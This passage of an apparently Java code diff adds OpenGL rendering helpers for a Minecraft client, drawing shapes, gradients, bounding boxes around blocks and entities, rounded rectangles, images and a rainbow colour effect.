= Math.cos((i * 3.141526D / 180)) * r; + GL11.glVertex2d(x - x2, y - y2); + } + } else if (id == 3) { + GL11.glVertex2d(x, y); + for (int i = 270; i <= 360; i++) { + double x2 = Math.sin((i * 3.141526D / 180)) * r; + double y2 = Math.cos((i * 3.141526D / 180)) * r; + GL11.glVertex2d(x - x2, y - y2); + } + } else if (id == 4) { + GL11.glVertex2d(x, y); + for (int i = 180; i <= 270; i++) { + double x2 = Math.sin((i * 3.141526D / 180)) * r; + double y2 = Math.cos((i * 3.141526D / 180)) * r; + GL11.glVertex2d(x - x2, y - y2); + } + } else { + for (int i = 0; i <= 360; i++) { + double x2 = Math.sin((i * 3.141526D / 180)) * r; + double y2 = Math.cos((i * 3.141526D / 180)) * r; + GL11.glVertex2f((float) (x - x2), (float) (y - y2)); + } + } + GL11.glEnd(); + GL11.glEnable(GL11.GL_TEXTURE_2D); + GL11.glDisable(GL11.GL_BLEND); + } + public static Color getGradientOffset(Color color1, Color color2, double offset) { + double inverse_percent; + int redPart; + if(offset > 1.0D) { + inverse_percent = offset % 1.0D; + redPart = (int)offset; + offset = redPart % 2 == 0?inverse_percent:1.0D - inverse_percent; + } + + inverse_percent = 1.0D - offset; + redPart = (int)((double)color1.getRed() * inverse_percent + (double)color2.getRed() * offset); + int greenPart = (int)((double)color1.getGreen() * inverse_percent + (double)color2.getGreen() * offset); + int bluePart = (int)((double)color1.getBlue() * inverse_percent + (double)color2.getBlue() * offset); + return new Color(redPart, greenPart, bluePart); + } + + public static void drawGradientSidewaysH(double left, double top, double right, double bottom, int col1, int col2) { + glEnable(GL_BLEND); + glDisable(GL_TEXTURE_2D); + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); + glEnable(GL_LINE_SMOOTH); + glShadeModel(GL_SMOOTH); + + quickDrawGradientSidewaysH(left, top, right, bottom, col1, col2); + + glEnable(GL_TEXTURE_2D); + glDisable(GL_BLEND); + glDisable(GL_LINE_SMOOTH); + glShadeModel(GL_FLAT); + } + + public static void quickDrawGradientSidewaysH(double left, double top, double right, double bottom, int col1, int col2) { + glBegin(GL_QUADS); + + glColor(col1); + glVertex2d(left, top); + glVertex2d(left, bottom); + glColor(col2); + glVertex2d(right, bottom); + glVertex2d(right, top); + + glEnd(); + } + public static void drawGradientSidewaysV(double left, double top, double right, double bottom, int col1, int col2) { + glEnable(GL_BLEND); + glDisable(GL_TEXTURE_2D); + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); + glEnable(GL_LINE_SMOOTH); + glShadeModel(GL_SMOOTH); + + quickDrawGradientSidewaysV(left, top, right, bottom, col1, col2); + + glEnable(GL_TEXTURE_2D); + glDisable(GL_BLEND); + glDisable(GL_LINE_SMOOTH); + glShadeModel(GL_FLAT); + } + public static void quickDrawGradientSidewaysV(double left, double top, double right, double bottom, int col1, int col2) { + glBegin(GL_QUADS); + + glColor(col1); + glVertex2d(right, top); + glVertex2d(left, top); + glColor(col2); + glVertex2d(left, bottom); // TODO: Fix this, this may have been a mistake + glVertex2d(right, bottom); + + glEnd(); + } + public static void drawBlockBox(final BlockPos blockPos, final Color color, final boolean outline, final boolean box, final float outlineWidth) { + final RenderManager renderManager = mc.getRenderManager(); + final Timer timer = mc.timer; + + final double x = blockPos.getX() - renderManager.renderPosX; + final double y = blockPos.getY() - renderManager.renderPosY; + final double z = blockPos.getZ() - renderManager.renderPosZ; + + AxisAlignedBB axisAlignedBB = new AxisAlignedBB(x, y, z, x + 1.0, y + 1.0, z + 1.0); + final Block block = BlockUtils.getBlock(blockPos); + + if (block != null) { + final EntityPlayer player = mc.thePlayer; + + final double posX = player.lastTickPosX + (player.posX - player.lastTickPosX) * (double) timer.renderPartialTicks; + final double posY = player.lastTickPosY + (player.posY - player.lastTickPosY) * (double) timer.renderPartialTicks; + final double posZ = player.lastTickPosZ + (player.posZ - player.lastTickPosZ) * (double) timer.renderPartialTicks; + axisAlignedBB = block.getSelectedBoundingBox(mc.theWorld, blockPos) + .expand(0.0020000000949949026D, 0.0020000000949949026D, 0.0020000000949949026D) + .offset(-posX, -posY, -posZ); + } + + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); + enableGlCap(GL_BLEND); + disableGlCap(GL_TEXTURE_2D, GL_DEPTH_TEST); + glDepthMask(false); + + if(box) { + glColor(color.getRed(), color.getGreen(), color.getBlue(), color.getAlpha() != 255 ? color.getAlpha() : outline ? 26 : 35); + drawFilledBox(axisAlignedBB); + } + + if (outline) { + glLineWidth(outlineWidth); + enableGlCap(GL_LINE_SMOOTH); + glColor(color); + + drawSelectionBoundingBox(axisAlignedBB); + } + + GlStateManager.resetColor(); + glDepthMask(true); + resetCaps(); + } + public static void drawSelectionBoundingBox(AxisAlignedBB boundingBox) { + Tessellator tessellator = Tessellator.getInstance(); + WorldRenderer worldrenderer = tessellator.getWorldRenderer(); + + worldrenderer.begin(GL_LINE_STRIP, DefaultVertexFormats.POSITION); + + // Lower Rectangle + worldrenderer.pos(boundingBox.minX, boundingBox.minY, boundingBox.minZ).endVertex(); + worldrenderer.pos(boundingBox.minX, boundingBox.minY, boundingBox.maxZ).endVertex(); + worldrenderer.pos(boundingBox.maxX, boundingBox.minY, boundingBox.maxZ).endVertex(); + worldrenderer.pos(boundingBox.maxX, boundingBox.minY, boundingBox.minZ).endVertex(); + worldrenderer.pos(boundingBox.minX, boundingBox.minY, boundingBox.minZ).endVertex(); + + // Upper Rectangle + worldrenderer.pos(boundingBox.minX, boundingBox.maxY, boundingBox.minZ).endVertex(); + worldrenderer.pos(boundingBox.minX, boundingBox.maxY, boundingBox.maxZ).endVertex(); + worldrenderer.pos(boundingBox.maxX, boundingBox.maxY, boundingBox.maxZ).endVertex(); + worldrenderer.pos(boundingBox.maxX, boundingBox.maxY, boundingBox.minZ).endVertex(); + worldrenderer.pos(boundingBox.minX, boundingBox.maxY, boundingBox.minZ).endVertex(); + + // Upper Rectangle + worldrenderer.pos(boundingBox.minX, boundingBox.maxY, boundingBox.maxZ).endVertex(); + worldrenderer.pos(boundingBox.minX, boundingBox.minY, boundingBox.maxZ).endVertex(); + + worldrenderer.pos(boundingBox.maxX, boundingBox.minY, boundingBox.maxZ).endVertex(); + worldrenderer.pos(boundingBox.maxX, boundingBox.maxY, boundingBox.maxZ).endVertex(); + + worldrenderer.pos(boundingBox.maxX, boundingBox.maxY, boundingBox.minZ).endVertex(); + worldrenderer.pos(boundingBox.maxX, boundingBox.minY, boundingBox.minZ).endVertex(); + + tessellator.draw(); + } + + public static void drawEntityBox(final Entity entity, final Color color, final boolean outline) { + final RenderManager renderManager = mc.getRenderManager(); + final Timer timer = mc.timer; + + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); + enableGlCap(GL_BLEND); + disableGlCap(GL_TEXTURE_2D, GL_DEPTH_TEST); + glDepthMask(false); + + final double x = entity.lastTickPosX + (entity.posX - entity.lastTickPosX) * timer.renderPartialTicks + - renderManager.renderPosX; + final double y = entity.lastTickPosY + (entity.posY - entity.lastTickPosY) * timer.renderPartialTicks + - renderManager.renderPosY; + final double z = entity.lastTickPosZ + (entity.posZ - entity.lastTickPosZ) * timer.renderPartialTicks + - renderManager.renderPosZ; + + final AxisAlignedBB entityBox = entity.getEntityBoundingBox(); + final AxisAlignedBB axisAlignedBB = new AxisAlignedBB( + entityBox.minX - entity.posX + x - 0.05D, + entityBox.minY - entity.posY + y, + entityBox.minZ - entity.posZ + z - 0.05D, + entityBox.maxX - entity.posX + x + 0.05D, + entityBox.maxY - entity.posY + y + 0.15D, + entityBox.maxZ - entity.posZ + z + 0.05D + ); + + if (outline) { + glLineWidth(1F); + enableGlCap(GL_LINE_SMOOTH); + glColor(color.getRed(), color.getGreen(), color.getBlue(), 95); + drawSelectionBoundingBox(axisAlignedBB); + } + + glColor(color.getRed(), color.getGreen(), color.getBlue(), outline ? 26 : 35); + drawFilledBox(axisAlignedBB); + GlStateManager.resetColor(); + glDepthMask(true); + resetCaps(); + } + + public static void drawEntityBox(final Entity entity, final Color color, final boolean outline, final boolean box, final float outlineWidth) { + final RenderManager renderManager = mc.getRenderManager(); + final Timer timer = mc.timer; + + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); + enableGlCap(GL_BLEND); + disableGlCap(GL_TEXTURE_2D, GL_DEPTH_TEST); + glDepthMask(false); + + final double x = entity.lastTickPosX + (entity.posX - entity.lastTickPosX) * timer.renderPartialTicks + - renderManager.renderPosX; + final double y = entity.lastTickPosY + (entity.posY - entity.lastTickPosY) * timer.renderPartialTicks + - renderManager.renderPosY; + final double z = entity.lastTickPosZ + (entity.posZ - entity.lastTickPosZ) * timer.renderPartialTicks + - renderManager.renderPosZ; + + final AxisAlignedBB entityBox = entity.getEntityBoundingBox(); + final AxisAlignedBB axisAlignedBB = new AxisAlignedBB( + entityBox.minX - entity.posX + x - 0.05D, + entityBox.minY - entity.posY + y, + entityBox.minZ - entity.posZ + z - 0.05D, + entityBox.maxX - entity.posX + x + 0.05D, + entityBox.maxY - entity.posY + y + 0.15D, + entityBox.maxZ - entity.posZ + z + 0.05D + ); + + if (outline) { + glLineWidth(outlineWidth); + enableGlCap(GL_LINE_SMOOTH); + glColor(color.getRed(), color.getGreen(), color.getBlue(), box?170:255); + drawSelectionBoundingBox(axisAlignedBB); + } + + if(box) { + glColor(color.getRed(), color.getGreen(), color.getBlue(), outline ? 26 : 35); + drawFilledBox(axisAlignedBB); + } + + GlStateManager.resetColor(); + glDepthMask(true); + resetCaps(); + } + + public static void drawAxisAlignedBB(final AxisAlignedBB axisAlignedBB, final Color color, final boolean outline, final boolean box, final float outlineWidth) { + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); + glEnable(GL_BLEND); + glLineWidth(outlineWidth); + glDisable(GL_TEXTURE_2D); + glDisable(GL_DEPTH_TEST); + glDepthMask(false); + glColor(color); + + if (outline) { + glLineWidth(outlineWidth); + enableGlCap(GL_LINE_SMOOTH); + glColor(color.getRed(), color.getGreen(), color.getBlue(), 95); + drawSelectionBoundingBox(axisAlignedBB); + } + + if(box) { + glColor(color.getRed(), color.getGreen(), color.getBlue(), outline ? 26 : 35); + drawFilledBox(axisAlignedBB); + } + + GlStateManager.resetColor(); + glEnable(GL_TEXTURE_2D); + glEnable(GL_DEPTH_TEST); + glDepthMask(true); + glDisable(GL_BLEND); + } + + public static void drawPlatform(final double y, final Color color, final double size) { + final RenderManager renderManager = mc.getRenderManager(); + final double renderY = y - renderManager.renderPosY; + + drawAxisAlignedBB(new AxisAlignedBB(size, renderY + 0.02D, size, -size, renderY, -size), color,false,true,2F); + } + + public static void drawPlatform(final Entity entity, final Color color) { + final RenderManager renderManager = mc.getRenderManager(); + final Timer timer = mc.timer; + + final double x = entity.lastTickPosX + (entity.posX - entity.lastTickPosX) * timer.renderPartialTicks + - renderManager.renderPosX; + final double y = entity.lastTickPosY + (entity.posY - entity.lastTickPosY) * timer.renderPartialTicks + - renderManager.renderPosY; + final double z = entity.lastTickPosZ + (entity.posZ - entity.lastTickPosZ) * timer.renderPartialTicks + - renderManager.renderPosZ; + + final AxisAlignedBB axisAlignedBB = entity.getEntityBoundingBox() + .offset(-entity.posX, -entity.posY, -entity.posZ) + .offset(x, y, z); + + drawAxisAlignedBB(new AxisAlignedBB(axisAlignedBB.minX, axisAlignedBB.maxY + 0.2, axisAlignedBB.minZ, axisAlignedBB.maxX, axisAlignedBB.maxY + 0.26, axisAlignedBB.maxZ), + color + ); + } + + public static void drawFilledBox(final AxisAlignedBB axisAlignedBB) { + final Tessellator tessellator = Tessellator.getInstance(); + final WorldRenderer worldRenderer = tessellator.getWorldRenderer(); + + worldRenderer.begin(7, DefaultVertexFormats.POSITION); + worldRenderer.pos(axisAlignedBB.minX, axisAlignedBB.minY, axisAlignedBB.minZ).endVertex(); + worldRenderer.pos(axisAlignedBB.minX, axisAlignedBB.maxY, axisAlignedBB.minZ).endVertex(); + worldRenderer.pos(axisAlignedBB.maxX, axisAlignedBB.minY, axisAlignedBB.minZ).endVertex(); + worldRenderer.pos(axisAlignedBB.maxX, axisAlignedBB.maxY, axisAlignedBB.minZ).endVertex(); + worldRenderer.pos(axisAlignedBB.maxX, axisAlignedBB.minY, axisAlignedBB.maxZ).endVertex(); + worldRenderer.pos(axisAlignedBB.maxX, axisAlignedBB.maxY, axisAlignedBB.maxZ).endVertex(); + worldRenderer.pos(axisAlignedBB.minX, axisAlignedBB.minY, axisAlignedBB.maxZ).endVertex(); + worldRenderer.pos(axisAlignedBB.minX, axisAlignedBB.maxY, axisAlignedBB.maxZ).endVertex(); + + worldRenderer.pos(axisAlignedBB.maxX, axisAlignedBB.maxY, axisAlignedBB.minZ).endVertex(); + worldRenderer.pos(axisAlignedBB.maxX, axisAlignedBB.minY, axisAlignedBB.minZ).endVertex(); + worldRenderer.pos(axisAlignedBB.minX, axisAlignedBB.maxY, axisAlignedBB.minZ).endVertex(); + worldRenderer.pos(axisAlignedBB.minX, axisAlignedBB.minY, axisAlignedBB.minZ).endVertex(); + worldRenderer.pos(axisAlignedBB.minX, axisAlignedBB.maxY, axisAlignedBB.maxZ).endVertex(); + worldRenderer.pos(axisAlignedBB.minX, axisAlignedBB.minY, axisAlignedBB.maxZ).endVertex(); + worldRenderer.pos(axisAlignedBB.maxX, axisAlignedBB.maxY, axisAlignedBB.maxZ).endVertex(); + worldRenderer.pos(axisAlignedBB.maxX, axisAlignedBB.minY, axisAlignedBB.maxZ).endVertex(); + + worldRenderer.pos(axisAlignedBB.minX, axisAlignedBB.maxY, axisAlignedBB.minZ).endVertex(); + worldRenderer.pos(axisAlignedBB.maxX, axisAlignedBB.maxY, axisAlignedBB.minZ).endVertex(); + worldRenderer.pos(axisAlignedBB.maxX, axisAlignedBB.maxY, axisAlignedBB.maxZ).endVertex(); + worldRenderer.pos(axisAlignedBB.minX, axisAlignedBB.maxY, axisAlignedBB.maxZ).endVertex(); + worldRenderer.pos(axisAlignedBB.minX, axisAlignedBB.maxY, axisAlignedBB.minZ).endVertex(); + worldRenderer.pos(axisAlignedBB.minX, axisAlignedBB.maxY, axisAlignedBB.maxZ).endVertex(); + worldRenderer.pos(axisAlignedBB.maxX, axisAlignedBB.maxY, axisAlignedBB.maxZ).endVertex(); + worldRenderer.pos(axisAlignedBB.maxX, axisAlignedBB.maxY, axisAlignedBB.minZ).endVertex(); + + worldRenderer.pos(axisAlignedBB.minX, axisAlignedBB.minY, axisAlignedBB.minZ).endVertex(); + worldRenderer.pos(axisAlignedBB.maxX, axisAlignedBB.minY, axisAlignedBB.minZ).endVertex(); + worldRenderer.pos(axisAlignedBB.maxX, axisAlignedBB.minY, axisAlignedBB.maxZ).endVertex(); + worldRenderer.pos(axisAlignedBB.minX, axisAlignedBB.minY, axisAlignedBB.maxZ).endVertex(); + worldRenderer.pos(axisAlignedBB.minX, axisAlignedBB.minY, axisAlignedBB.minZ).endVertex(); + worldRenderer.pos(axisAlignedBB.minX, axisAlignedBB.minY, axisAlignedBB.maxZ).endVertex(); + worldRenderer.pos(axisAlignedBB.maxX, axisAlignedBB.minY, axisAlignedBB.maxZ).endVertex(); + worldRenderer.pos(axisAlignedBB.maxX, axisAlignedBB.minY, axisAlignedBB.minZ).endVertex(); + + worldRenderer.pos(axisAlignedBB.minX, axisAlignedBB.minY, axisAlignedBB.minZ).endVertex(); + worldRenderer.pos(axisAlignedBB.minX, axisAlignedBB.maxY, axisAlignedBB.minZ).endVertex(); + worldRenderer.pos(axisAlignedBB.minX, axisAlignedBB.minY, axisAlignedBB.maxZ).endVertex(); + worldRenderer.pos(axisAlignedBB.minX, axisAlignedBB.maxY, axisAlignedBB.maxZ).endVertex(); + worldRenderer.pos(axisAlignedBB.maxX, axisAlignedBB.minY, axisAlignedBB.maxZ).endVertex(); + worldRenderer.pos(axisAlignedBB.maxX, axisAlignedBB.maxY, axisAlignedBB.maxZ).endVertex(); + worldRenderer.pos(axisAlignedBB.maxX, axisAlignedBB.minY, axisAlignedBB.minZ).endVertex(); + worldRenderer.pos(axisAlignedBB.maxX, axisAlignedBB.maxY, axisAlignedBB.minZ).endVertex(); + + worldRenderer.pos(axisAlignedBB.minX, axisAlignedBB.maxY, axisAlignedBB.maxZ).endVertex(); + worldRenderer.pos(axisAlignedBB.minX, axisAlignedBB.minY, axisAlignedBB.maxZ).endVertex(); + worldRenderer.pos(axisAlignedBB.minX, axisAlignedBB.maxY, axisAlignedBB.minZ).endVertex(); + worldRenderer.pos(axisAlignedBB.minX, axisAlignedBB.minY, axisAlignedBB.minZ).endVertex(); + worldRenderer.pos(axisAlignedBB.maxX, axisAlignedBB.maxY, axisAlignedBB.minZ).endVertex(); + worldRenderer.pos(axisAlignedBB.maxX, axisAlignedBB.minY, axisAlignedBB.minZ).endVertex(); + worldRenderer.pos(axisAlignedBB.maxX, axisAlignedBB.maxY, axisAlignedBB.maxZ).endVertex(); + worldRenderer.pos(axisAlignedBB.maxX, axisAlignedBB.minY, axisAlignedBB.maxZ).endVertex(); + tessellator.draw(); + } + + public static void drawBlockBox(final BlockPos blockPos, final Color color, final boolean outline) { + final RenderManager renderManager = mc.getRenderManager(); + final Timer timer = mc.timer; + + final double x = blockPos.getX() - renderManager.renderPosX; + final double y = blockPos.getY() - renderManager.renderPosY; + final double z = blockPos.getZ() - renderManager.renderPosZ; + + AxisAlignedBB axisAlignedBB = new AxisAlignedBB(x, y, z, x + 1.0, y + 1, z + 1.0); + final Block block = BlockUtils.getBlock(blockPos); + + if (block != null) { + final EntityPlayer player = mc.thePlayer; + + final double posX = player.lastTickPosX + (player.posX - player.lastTickPosX) * (double) timer.renderPartialTicks; + final double posY = player.lastTickPosY + (player.posY - player.lastTickPosY) * (double) timer.renderPartialTicks; + final double posZ = player.lastTickPosZ + (player.posZ - player.lastTickPosZ) * (double) timer.renderPartialTicks; + axisAlignedBB = block.getSelectedBoundingBox(mc.theWorld, blockPos) + .expand(0.0020000000949949026D, 0.0020000000949949026D, 0.0020000000949949026D) + .offset(-posX, -posY, -posZ); + } + + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); + enableGlCap(GL_BLEND); + disableGlCap(GL_TEXTURE_2D, GL_DEPTH_TEST); + glDepthMask(false); + + glColor(color.getRed(), color.getGreen(), color.getBlue(), color.getAlpha() != 255 ? color.getAlpha() : outline ? 26 : 35); + drawFilledBox(axisAlignedBB); + + if (outline) { + glLineWidth(1F); + enableGlCap(GL_LINE_SMOOTH); + glColor(color); + + drawSelectionBoundingBox(axisAlignedBB); + } + + GlStateManager.resetColor(); + glDepthMask(true); + resetCaps(); + } + + + // Astolfo + public static int Astolfo(int var2, float st, float bright) { + double currentColor = Math.ceil(System.currentTimeMillis() + (var2 * 130L)) / 6; + return Color.getHSBColor((double) ((float) ((currentColor %= 360.0) / 360.0)) < 0.5 ? -((float) (currentColor / 360.0)) : (float) (currentColor / 360.0), st, bright).getRGB(); + } + + public static void quickDrawRect(final float x, final float y, final float x2, final float y2) { + glBegin(GL_QUADS); + + glVertex2d(x2, y); + glVertex2d(x, y); + glVertex2d(x, y2); + glVertex2d(x2, y2); + + glEnd(); + } + + public static void quickDrawRect(final float x, final float y, final float x2, final float y2, final int color) { + glColor(color); + quickDrawRect(x, y, x2, y2); + } + + public static void drawRect(float left, float top, float right, float bottom, int color) { + if (left < right) { + float i = left; + left = right; + right = i; + } + + if (top < bottom) { + float j = top; + top = bottom; + bottom = j; + } + + float f3 = (float) (color >> 24 & 255) / 255.0F; + float f = (float) (color >> 16 & 255) / 255.0F; + float f1 = (float) (color >> 8 & 255) / 255.0F; + float f2 = (float) (color & 255) / 255.0F; + Tessellator tessellator = Tessellator.getInstance(); + WorldRenderer worldrenderer = tessellator.getWorldRenderer(); + GlStateManager.enableBlend(); + GlStateManager.disableTexture2D(); + GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0); + GlStateManager.color(f, f1, f2, f3); + worldrenderer.begin(7, DefaultVertexFormats.POSITION); + worldrenderer.pos(left, bottom, 0.0D).endVertex(); + worldrenderer.pos(right, bottom, 0.0D).endVertex(); + worldrenderer.pos(right, top, 0.0D).endVertex(); + worldrenderer.pos(left, top, 0.0D).endVertex(); + tessellator.draw(); + enableTexture2D(); + disableBlend(); + } + public static void drawRect(final double x, final double y, final double x2, final double y2, final int color) { + glEnable(GL_BLEND); + glDisable(GL_TEXTURE_2D); + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); + glEnable(GL_LINE_SMOOTH); + + glColor(color); + glBegin(GL_QUADS); + + glVertex2d(x2, y); + glVertex2d(x, y); + glVertex2d(x, y2); + glVertex2d(x2, y2); + glEnd(); + + glEnable(GL_TEXTURE_2D); + glDisable(GL_BLEND); + glDisable(GL_LINE_SMOOTH); + } + public static void drawRect(final float x, final float y, final float x2, final float y2, final Color color) { + drawRect(x, y, x2, y2, color.getRGB()); + } + public static void drawBorderedRect(final double x, final double y, final double x2, final double y2, final double width, final int color1, final int color2) { + drawBorderedRect((float)x,(float)y,(float)x2,(float)y2,(float)width,color1,color2); + } + public static void drawBorderedRect(final float x, final float y, final float x2, final float y2, final float width, final int color1, final int color2) { + drawRect(x, y, x2, y2, color2); + glEnable(GL_BLEND); + glDisable(GL_TEXTURE_2D); + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); + glEnable(GL_LINE_SMOOTH); + + glColor(color1); + glLineWidth(width); + glBegin(1); + glVertex2d(x, y); + glVertex2d(x, y2); + glVertex2d(x2, y2); + glVertex2d(x2, y); + glVertex2d(x, y); + glVertex2d(x2, y); + glVertex2d(x, y2); + glVertex2d(x2, y2); + glEnd(); + + glEnable(GL_TEXTURE_2D); + glDisable(GL_BLEND); + glDisable(GL_LINE_SMOOTH); + } + + public static void newDrawRect(float left, float top, float right, float bottom, int color) + { + if (left < right) + { + float i = left; + left = right; + right = i; + } + + if (top < bottom) + { + float j = top; + top = bottom; + bottom = j; + } + + float f3 = (float)(color >> 24 & 255) / 255.0F; + float f = (float)(color >> 16 & 255) / 255.0F; + float f1 = (float)(color >> 8 & 255) / 255.0F; + float f2 = (float)(color & 255) / 255.0F; + Tessellator tessellator = Tessellator.getInstance(); + WorldRenderer worldrenderer = tessellator.getWorldRenderer(); + GlStateManager.enableBlend(); + GlStateManager.disableTexture2D(); + GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0); + GlStateManager.color(f, f1, f2, f3); + worldrenderer.begin(7, DefaultVertexFormats.POSITION); + worldrenderer.pos(left, bottom, 0.0D).endVertex(); + worldrenderer.pos(right, bottom, 0.0D).endVertex(); + worldrenderer.pos(right, top, 0.0D).endVertex(); + worldrenderer.pos(left, top, 0.0D).endVertex(); + tessellator.draw(); + enableTexture2D(); + disableBlend(); + } + + public static void newDrawRect(double left, double top, double right, double bottom, int color) + { + if (left < right) + { + double i = left; + left = right; + right = i; + } + + if (top < bottom) + { + double j = top; + top = bottom; + bottom = j; + } + + float f3 = (float)(color >> 24 & 255) / 255.0F; + float f = (float)(color >> 16 & 255) / 255.0F; + float f1 = (float)(color >> 8 & 255) / 255.0F; + float f2 = (float)(color & 255) / 255.0F; + Tessellator tessellator = Tessellator.getInstance(); + WorldRenderer worldrenderer = tessellator.getWorldRenderer(); + GlStateManager.enableBlend(); + GlStateManager.disableTexture2D(); + GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0); + GlStateManager.color(f, f1, f2, f3); + worldrenderer.begin(7, DefaultVertexFormats.POSITION); + worldrenderer.pos(left, bottom, 0.0D).endVertex(); + worldrenderer.pos(right, bottom, 0.0D).endVertex(); + worldrenderer.pos(right, top, 0.0D).endVertex(); + worldrenderer.pos(left, top, 0.0D).endVertex(); + tessellator.draw(); + enableTexture2D(); + disableBlend(); + } + public static void drawRoundedRect(float paramXStart, float paramYStart, float paramXEnd, float paramYEnd, float radius, int color, boolean popPush) { + float alpha = (color >> 24 & 0xFF) / 255.0F; + float red = (color >> 16 & 0xFF) / 255.0F; + float green = (color >> 8 & 0xFF) / 255.0F; + float blue = (color & 0xFF) / 255.0F; + + float z; + if (paramXStart > paramXEnd) { + z = paramXStart; + paramXStart = paramXEnd; + paramXEnd = z; + } + + if (paramYStart > paramYEnd) { + z = paramYStart; + paramYStart = paramYEnd; + paramYEnd = z; + } + + double x1 = (paramXStart + radius); + double y1 = (paramYStart + radius); + double x2 = (paramXEnd - radius); + double y2 = (paramYEnd - radius); + + if (popPush) glPushMatrix(); + glEnable(GL_BLEND); + glDisable(GL_TEXTURE_2D); + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); + glEnable(GL_LINE_SMOOTH); + glLineWidth(1); + + glColor4f(red, green, blue, alpha); + glBegin(GL_POLYGON); + + double degree = Math.PI / 180; + for (double i = 0; i <= 90; i += 1) + glVertex2d(x2 + Math.sin(i * degree) * radius, y2 + Math.cos(i * degree) * radius); + for (double i = 90; i <= 180; i += 1) + glVertex2d(x2 + Math.sin(i * degree) * radius, y1 + Math.cos(i * degree) * radius); + for (double i = 180; i <= 270; i += 1) + glVertex2d(x1 + Math.sin(i * degree) * radius, y1 + Math.cos(i * degree) * radius); + for (double i = 270; i <= 360; i += 1) + glVertex2d(x1 + Math.sin(i * degree) * radius, y2 + Math.cos(i * degree) * radius); + glEnd(); + + glEnable(GL_TEXTURE_2D); + glDisable(GL_BLEND); + glDisable(GL_LINE_SMOOTH); + if (popPush) glPopMatrix(); + } + + public static void drawLoadingCircle(float x, float y) { + for (int i = 0; i < 4; i++) { + int rot = (int) ((System.nanoTime() / 5000000 * i) % 360); + drawCircle(x, y, i * 10, rot - 180, rot); + } + } + public static void drawCircle(float x, float y, float radius, int start, int end) { + GlStateManager.enableBlend(); + GlStateManager.disableTexture2D(); + GlStateManager.tryBlendFuncSeparate(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA, GL_ONE, GL_ZERO); + glColor(Color.WHITE); + + glEnable(GL_LINE_SMOOTH); + glLineWidth(2F); + glBegin(GL_LINE_STRIP); + for (float i = end; i >= start; i -= (360 / 90.0f)) + glVertex2f((float) (x + (cos(i * PI / 180) * (radius * 1.001F))), (float) (y + (sin(i * PI / 180) * (radius * 1.001F)))); + glEnd(); + glDisable(GL_LINE_SMOOTH); + + enableTexture2D(); + disableBlend(); + } + + public static void drawLimitedCircle(final float lx, final float ly, final float x2, final float y2,final int xx, final int yy, final float radius, final Color color) { + int sections = 50; + double dAngle = 2 * Math.PI / sections; + float x, y; + + glPushAttrib(GL_ENABLE_BIT); + + glEnable(GL_BLEND); + glDisable(GL_TEXTURE_2D); + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); + glEnable(GL_LINE_SMOOTH); + glBegin(GL_TRIANGLE_FAN); + + glColor(color); + for (int i = 0; i < sections; i++) { + x = (float) (radius * Math.sin((i * dAngle))); + y = (float) (radius * Math.cos((i * dAngle))); + glVertex2f(Math.min(x2,Math.max(xx + x,lx)), Math.min(y2,Math.max(yy + y,ly))); + } + + GlStateManager.color(0, 0, 0); + + glEnd(); + + glPopAttrib(); + } + + public static void drawImage(ResourceLocation image, int x, int y, int width, int height) { + glDisable(GL_DEPTH_TEST); + glEnable(GL_BLEND); + glDepthMask(false); + OpenGlHelper.glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA, GL_ONE, GL_ZERO); + glColor4f(1.0F, 1.0F, 1.0F, 1.0F); + mc.getTextureManager().bindTexture(image); + Gui.drawModalRectWithCustomSizedTexture(x, y, 0, 0, width, height, width, height); + glDepthMask(true); + glDisable(GL_BLEND); + glEnable(GL_DEPTH_TEST); + } + + public static void drawImage2(ResourceLocation image, float x, float y, int width, int height) { + glDisable(GL_DEPTH_TEST); + glEnable(GL_BLEND); + glDepthMask(false); + OpenGlHelper.glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA, GL_ONE, GL_ZERO); + glColor4f(1.0F, 1.0F, 1.0F, 1.0F); + glTranslatef(x, y, x); + mc.getTextureManager().bindTexture(image); + Gui.drawModalRectWithCustomSizedTexture(0, 0, 0, 0, width, height, width, height); + glTranslatef(-x, -y, -x); + glDepthMask(true); + glDisable(GL_BLEND); + glEnable(GL_DEPTH_TEST); + } + + public static void drawAxisAlignedBB(final AxisAlignedBB axisAlignedBB, final Color color) { + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); + glEnable(GL_BLEND); + glLineWidth(2F); + glDisable(GL_TEXTURE_2D); + glDisable(GL_DEPTH_TEST); + glDepthMask(false); + glColor(color); + drawFilledBox(axisAlignedBB); + GlStateManager.resetColor(); + glEnable(GL_TEXTURE_2D); + glEnable(GL_DEPTH_TEST); + glDepthMask(true); + glDisable(GL_BLEND); + } + public static void otherDrawBoundingBox(float yaw, double x, double y, double z, double width, double height) { + width *= 1.5D; + yaw = MathHelper.wrapAngleTo180_float(yaw) + 45.0F; + float yaw1, yaw2, yaw3, yaw4; + if(yaw < 0.0F) { + yaw1 = 0.0F; + yaw1 += 360.0F - Math.abs(yaw); + } else { + yaw1 = yaw; + } + yaw1 *= -1.0F; + yaw1 = (float)((double)yaw1 * 0.017453292519943295D); + + yaw += 90F; + if(yaw < 0.0F) { + yaw2 = 0.0F; + yaw2 += 360.0F - Math.abs(yaw); + } else { + yaw2 = yaw; + } + + yaw2 *= -1.0F; + yaw2 = (float)((double)yaw2 * 0.017453292519943295D); + yaw += 90F; + if(yaw < 0.0F) { + yaw3 = 0.0F; + yaw3 += 360.0F - Math.abs(yaw); + } else { + 